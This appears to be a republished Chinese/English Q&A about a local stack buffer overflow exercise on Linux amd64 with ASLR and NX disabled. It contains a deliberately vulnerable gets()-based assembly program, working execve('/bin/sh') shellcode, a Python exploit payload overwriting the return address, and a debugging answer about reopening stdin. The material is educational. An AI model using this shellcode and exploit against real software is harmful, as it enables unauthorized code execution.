本文介绍了一个简单的堆栈溢出的Shellcode:带外壳的被利用程序在execve("/bin/sh")之后直接终止的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我在Linux(amd64)上处理缓冲区溢出,并尝试利用一个简单程序,但是失败了.我禁用了安全功能(使用sysctl -w kernel.randomize_va_space = 0和BIOS中的nx位的地址空间布局随机化).它跳转到堆栈并执行shellcode,但不会启动shell. execve syscall成功,但是之后就终止了.知道有什么问题吗?独立运行shellcode可以正常工作.

I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine.

奖金问题:为什么在调用printf之前需要将rax设置为零? (请参见代码中的注释)

Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code)

易受攻击的文件 buffer.s :

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

编译:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

开始于:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

使用gdb调试:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.

推荐答案

我现在在VM中使用Ubuntu 9.10遇到了几乎相同的问题.禁用了操作系统的所有安全性度量,可以使用诸如退出程序并将退出代码设置为42"之类的简单漏洞利用,但是尝试打开外壳程序时,程序只会终止.gdb的输出是相同的:

I'm having pretty much the same problem right now with Ubuntu 9.10 in a VM.Disabled all the security measurements of the OS, and simple exploits like "exit the program and set exit-code to 42" do work, but when trying to open a shell, the program just terminates.Output of gdb is identical:

(gdb) run < exploit.0xbffff3b8
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

事情是,我需要它大约能工作. 16个小时的演示文稿:-D

Thing is, I need it working in approx. 16 hours for a presentation :-D

更新:我发现这项整洁的研究:www.shell-storm.org/papers/files/539.pdf

Update:I found this neat study: www.shell-storm.org/papers/files/539.pdf

在第16页上说:如果我们尝试执行一个Shell,它将在此配置中立即终止"

On page 16 it says:"If we try to execute a shell, it terminates immediately in this configuration"

在其他不使用gets()的示例中,它们很好地生成了shell.不幸的是,他们没有暗示为什么它不能那样工作. :(

In other examples that don't use gets(), they do very well spawn a shell. Unfortunately, they don't give a hint on WHY it doesn't work that way. :(

下一次更新:似乎与stdin有关.外壳无法正确使用从原始过程中获得的外壳.我尝试使用发现(evilsh)源代码的最小外壳程序.它在尝试读取输入时崩溃了.我的猜测是,bash/dash会对此进行检查,并在stdin出现问题时仅以静默方式退出.

Next Update:It seems it has to do with stdin. The shell cannot properly use the one it gets from the original process. I tried using a minimal shell I found the sourcecode for (evilsh). It crashed at the point where it tried to read input. My guess is, that bash/dash checks for this and just silently exits when something is wrong with stdin.

好吧,请不要因为在这里与自己的对话而杀死我,但是...

Ok please don't kill me for having this conversation with myself here, but...

我找到了解决方法!

由于某些原因,有必要重新打开输入.我在这里找到了有效的shellcode:

For some reason it is necessary to reopen the inputs. I found a working shellcode here:

http://www.milw0rm.com/shellcode/2040

我看不到提示,但我可以使用打开的外壳运行程序等.

I don't see a prompt tough, but I can run programs etc. using the shell that opens.

这篇关于一个简单的堆栈溢出的Shellcode:带外壳的被利用程序在execve("/bin/sh")之后直接终止的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持!

09-05 08:51
查看更多